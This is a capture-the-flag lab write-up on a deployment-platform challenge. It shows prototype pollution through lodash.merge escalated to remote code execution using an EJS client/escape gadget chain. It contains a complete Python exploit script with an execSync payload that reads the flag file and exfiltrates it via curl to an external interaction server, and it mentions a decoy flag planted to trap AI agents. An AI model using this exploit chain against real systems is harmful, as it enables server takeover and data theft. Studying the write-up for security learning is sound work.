Lab 240 — DeployForge — Prototype Pollution to RCE via Lodash Merge
Lab 240 — DeployForge — Prototype Pollution to RCE via Lodash Merge
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: ejs_cache_bypass_via_pollution, ejs_client_escape_gadget_chain, honeypot_flag_identification, http_exfiltration_via_execsync_curl, prototype_pollution_via_lodash_merge, string_fromcharcode_quote_bypass
Summary
Task: Express.js deployment platform uses lodash.merge() to deep-merge user JSON settings into config, enabling prototype pollution. Solution: Polluted Object.prototype with EJS client+escape gadget (cache=false, client=true, escape=IIFE RCE payload) to achieve code execution during template compilation, exfiltrated flag via execSync curl to interaction server.
Lab 240 — DeployForge — Prototype Pollution to RCE via Lodash Merge — HackAdvisor
Description
DeployForge is a deployment orchestration platform by ForgeStack Inc. It lets teams manage application deployments, environment configurations, and webhooks from a single dashboard. The platform features a settings panel where users can customize their workspace configuration via JSON, webhook integrations for deployment notifications, and API key management for CI/CD pipelines. Your goal is to find and exploit a vulnerability in the application that allows you to execute arbitrary commands on the server and retrieve the flag.
English summary: An Express.js + EJS deployment management platform behind nginx/1.25.5. Users can update workspace settings via a JSON editor that deep-merges input using lodash.merge(). The goal is to achieve RCE and read the flag from the server.
Analysis
Reconnaissance
- Stack: Express.js + EJS templates + nginx/1.25.5
- Credentials:
user@test.com/password123 - Key endpoints:
POST /login— authenticationPUT /api/settings— accepts JSON, deep-merges into config vialodash.merge()GET /— Dashboard (EJS rendered)GET /settings— Settings page with JSON editorGET /settings/webhooks— Webhook managementPOST /api/webhooks/:id/test— Test webhook (makes HTTP request)
Honeypot Detection
Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden <div> elements — a honeypot designed to fool automated scanners and AI agents. This was identified and ignored.
Vulnerability Identification
Prototype Pollution via lodash.merge(): The PUT /api/settings endpoint uses lodash.merge() to deep-merge user-supplied JSON into the server config object. lodash.merge() does not filter __proto__ keys, allowing an attacker to pollute Object.prototype with arbitrary properties that propagate to all objects in the application.
EJS Gadget Chain (client + escape)
Modern EJS (>= 3.1.7) blocks the classic outputFunctionName/localsName/destructuredLocals gadgets via JavaScript identifier validation. However, the client + escape gadget chain remains viable:
In EJS compile(), when opts.client is true:
javascript read-only • copy allowedif (opts.client) { src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src; }
The escapeFn comes from opts.escape. When escape is a string, String.prototype.toString() returns the string itself, which gets injected raw into the compiled template source as executable JavaScript. The compiled template becomes:
javascript read-only • copy allowedescapeFn = escapeFn || (() => { RCE_CODE })()//;
The // comments out the trailing semicolon. The IIFE executes during template compilation.
Key Constraints
| Constraint | Impact | Mitigation |
|---|---|---|
| EJS caches templates in production | Polluted options ignored for cached templates | Pollute cache = false to force recompilation |
client=true breaks include() | Templates crash with 500 after compilation | RCE already executed during compilation — error is irrelevant |
| Express production mode | Error details hidden ("Internal Server Error") | Cannot use throw Error for exfiltration — use HTTP exfil |
new Function() context | require() not available directly | Use process.mainModule.require() |
Async HTTP (http.get()) | Flag data may not arrive before process exits | Use execSync("curl ...") for synchronous exfiltration |
| Quote characters in payload | Nested quotes break string injection | Use String.fromCharCode() to construct strings |
| |
Solution
Step 1: Login Without Visiting Pages
Critical: do NOT visit any pages before pollution. EJS caches templates on first render — if a template is cached before pollution, cache=false won't help because the cache entry already exists.
python read-only • copy alloweds = requests.Session() r = s.post(f"{TARGET}/login", data={ "email": "user@test.com", "password": "password123" }, allow_redirects=False) assert r.status_code == 302
Step 2: Pollute Object.prototype via Settings API
Send a single PUT /api/settings request with __proto__ payload containing all three pollution keys:
cache: false— forces EJS to recompile templates on every renderclient: true— activates the code path that injectsescapeFn.toString()into compiled sourceescape: "<IIFE payload>//"— the RCE payload injected as executable JavaScript
Step 3: Trigger Template Render
A simple GET / triggers EJS template compilation with the polluted options. The IIFE in the escape property executes during compilation, running execSync("curl ...") to exfiltrate the flag.
Step 4: Exfiltrate Flag
The execSync("curl http://interact/UUID/$(cat /flag*)") command reads the flag file and sends it as a URL path component to the interaction server. The flag appears in the request log as GET /FLAG{...}.
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ DeployForge — Prototype Pollution to RCE via Lodash Merge + EJS client/escape gadget """ import requests import sys import re import urllib3 urllib3.disable_warnings() if len(sys.argv) < 2: print("Usage: python3 exploit.py <TARGET_URL>") sys.exit(1) TARGET = sys.argv[1].rstrip("/") uuid = TARGET.split("//")[1].split(".")[0] INTERACT = f"http://interact/{uuid}" def to_cc(st): """Convert string to String.fromCharCode() to avoid quote issues""" return 'String.fromCharCode(' + ','.join(str(ord(c)) for c in st) + ')' s = requests.Session() s.verify = False # ── Step 1: Login (no page visits to avoid template caching!) ── print("[1] Logging in...") r = s.post(f"{TARGET}/login", data={ "email": "user@test.com", "password": "password123" }, allow_redirects=False) assert r.status_code == 302, f"Login failed: {r.status_code}" # ── Step 2: Pollute Object.prototype ── shell_cmd = f"curl {INTERACT}/$(cat /flag* /root/flag* 2>/dev/null | head -c 100)" escape_payload = ( '(()=>{' f'var cp=process.mainModule.require({to_cc("child_process")});' f'cp.execSync({to_cc(shell_cmd)});' 'return function(s){return s;};' '})()//' ) print(f"[2] Polluting prototype ({len(escape_payload)} chars)...") r = s.put(f"{TARGET}/api/settings", json={ "__proto__": { "cache": False, "client": True, "escape": escape_payload } }) print(f" Status: {r.status_code}") # ── Step 3: Trigger template render → RCE ── print("[3] Triggering template render...") try: r = s.get(f"{TARGET}/", timeout=15) print(f" GET /: {r.status_code}") except Exception as e: print(f" Error (expected): {e}") print(f"\n[*] Check interaction server logs for flag!") print(f" URL: {INTERACT}")
Failed Approaches
outputFunctionNameinjection — blocked by EJS >= 3.1.7 JavaScript identifier validationlocalsName/destructuredLocalsinjection — same identifier validation- Error-based exfiltration (
throw Error) — Express production mode shows only "Internal Server Error" http.get()with query params — async, flag data arrives as empty string before response completes- Writing to
/app/public/— read-only filesystem (EROFS) NODE_OPTIONSpollution — nochild_process.fork()trigger found in the application- Webhook URL command injection — URL processed by Node.js
httpmodule, not shell